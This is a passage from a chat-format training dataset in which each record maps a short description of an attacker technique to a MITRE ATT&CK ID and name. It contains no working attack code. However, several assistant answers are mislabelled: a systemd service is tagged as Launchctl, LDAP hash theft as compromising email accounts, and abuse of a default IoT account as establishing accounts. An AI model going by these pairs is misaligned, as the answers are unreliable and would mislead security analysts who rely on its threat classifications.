                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scanned publicly available security databases for known exploits affecting the target's operating system."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Linux \"systemd\" service manager to create a new service file that starts their malware on boot."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a services registry permissions weakness to change the Service DLL path, causing the system to execute attacker-controlled code on service start."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used PowerView's Get-NetGroup cmdlet to retrieve domain group information for permission groups discovery."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Android LocationManager to acquire GPS latitude and longitude from the compromised phone."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals embed dummy data throughout the executable's code segment to mask malicious code signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach included altering GPO settings to enable insecure authentication protocols."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mavinject, the attacker proxies execution through the system binary explorer.exe, inserting a payload that runs with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system utilizes alternate outbound connections through VPN tunnels or TOR relays as a contingency when the main command server is offline."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accesses a network share labeled 'Public' and extracts intellectual property PDFs."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an insecure LDAP configuration to retrieve email usernames and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a remote code execution bug to replace the site's CSS with defacement styling."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Metasploit auxiliary scanner module to fingerprint operating systems and locate exploitable services."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query closed‑source cyber threat feeds from intel vendors to identify exploitable software versions used by the target."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker enumerates publicly available DNS records and WHOIS information to discover subdomains and related services of the victim."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor triggers a firmware-level wipe that renders the drive unusable."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up a permanent WMI event filter to trigger execution of a payload when the system clock changes."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑crime group establishes a secure C2 link by encrypting all beacon messages with a public key embedded in the malware binary."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group employs stolen GCP OAuth tokens to invoke the \"gcloud iam service-accounts add-iam-policy-binding\" command, granting themselves elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses compromised AWS IAM keys to execute the AWS CLI \"aws ec2 describe-instances\" command, enumerating all EC2 instances in the account."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document prompts the victim to enter their Outlook credentials, which are then exfiltrated and used to access the email account."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation tool used the Windows Media Capture API to start a continuous video capture session, storing the raw footage locally before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the LoadLibraryEx function with the LOAD_WITH_ALTERED_SEARCH_PATH flag to map a malicious module into the TLS of a compromised process."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest config files from /etc/ to retrieve database connection strings."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before decrypting its files, the Trojan inspects the Windows registry for signs of forensic tools and halts if any are detected."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilized a malicious script embedded in a popular meme-sharing website to capture Twitter OAuth tokens from visiting users."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage SeBackupPrivilege to dump LSA Secrets and obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system runs a malicious driver that filters ICMP packets, allowing the attacker to bypass network firewalls and conduct ping sweeps undetected."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group performs process doppelgänging, using file system transactions to create a process with injected malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit a vulnerable Java applet on a compromised site, leading to automatic malware installation on unsuspecting visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses an outdated PHP version on a VPS-hosted web application to inject malicious code and achieve remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component queries the local security database to retrieve the current password expiration policy."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages IPv6 transition mechanisms to route traffic across a NATed IPv4 network, allowing the attacker to maintain persistence on hosts protected by network boundary devices."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A wiper tool is executed that uses the Windows \"cipher /w\" command to securely erase free space and delete residual data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool disables the 'Browser' service on a Linux host, terminating the web browser's background processes."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post‑compromise phase, the intruder injects a malicious executable into the system's PATH, leveraging the precedence of directories to hijack command execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hosts a malicious PDF on a popular file‑sharing site; when the victim opens the page, a drive‑by download exploits an outdated Flash plugin."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects code that disables process kill requests, ensuring the payload stays resident and undetected."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the 'netsh interface ipv4 show config' command to retrieve network configuration information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SEO poisoning, the adversary inserts hidden keywords into a popular blog’s meta tags and uploads a trojanized PDF, causing the malicious file to appear in top search results for common software queries."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses process hollowing to run malicious code inside a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script verifies that the system's power management reports user activity (e.g., screen on, not in sleep mode) before executing the exploit."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a script that parses the Windows Mail app’s SQLite database to retrieve email content."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file‑less attack reads the securityd memory region to steal saved Wi‑Fi passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit a default factory account on IoT devices to establish a foothold in the network."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script added a new OU and linked a GPO that disables UAC on all domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry key 'HKLM\\Software\\Microsoft\\.NETFramework\\COR_PROFILER' to point to a malicious profiler, hijacking execution flow of legitimate .NET processes."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a malicious third‑party web proxy and configures compromised hosts to route their C2 traffic through it to hide their origin."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious password filter DLL into the system32 directory and registers it to intercept password changes, allowing them to capture credentials during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a compromised advertising network to serve malicious ads that, when viewed, trigger a drive‑by download of a PowerShell backdoor onto the victim’s machine without any user interaction."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials of a B2B integration platform are used by the threat actor to masquerade as a trusted partner and pull sensitive information from the target."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves writing malicious DLL code into a process's Thread Local Storage and forcing execution via TLS initialization routines."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a malicious USB device that appears as a keyboard (HID) to inject commands that download additional payloads from the internet."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a scheduled task to launch an Office macro that runs a test payload each time Office starts."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors analyze .bash_history to retrieve SSH private key passphrases typed during key import."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool aggregates harvested emails into a staging folder on the compromised workstation prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a new time provider entry under HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a web service endpoint to act as a relay, where the infected machine can both push exfiltrated files and pull additional payloads in a continuous loop."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a developer's credentials and uses them to download the organization's private Bitbucket repositories, exfiltrating the codebase."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replays a captured SAML token after modifying its attributes to impersonate a high-privilege account."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a persistent command-and-control channel by using a public-facing web service that both receives data uploads and sends back encrypted instructions, enabling bidirectional communication."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Mimikatz to extract clear‑text credentials from the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits the inter‑process communication channel provided by XPC to exfiltrate sensitive files from a sandboxed app."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses a custom encrypted protocol over HTTP to hide its command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan checks for known sandbox processes like vboxservice.exe before proceeding with its malicious actions."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised web application to host additional malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a macro that reads an unprotected SSH private key from the victim's .ssh folder and emails it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool drops a DLL into the Winlogon helper path, causing automatic execution on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website serves an HTML page that uses self‑defending JavaScript to reconstruct a malicious DLL from fragmented strings, evading static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan replaces the standard OAuth token generation module with a malicious component that issues tokens to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses reflective DLL loading and then resolves necessary APIs such as RegOpenKeyExW dynamically."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malformed API call to a vulnerable system utility, causing it to abort and deny service to the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal establishes a fake Cloudflare account to intercept victim's DNS traffic."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits existing Group Policy settings to add a scheduled task that runs a PowerShell backdoor on all computers in the OU."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Winlogon helper DLL feature to achieve persistence without using scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
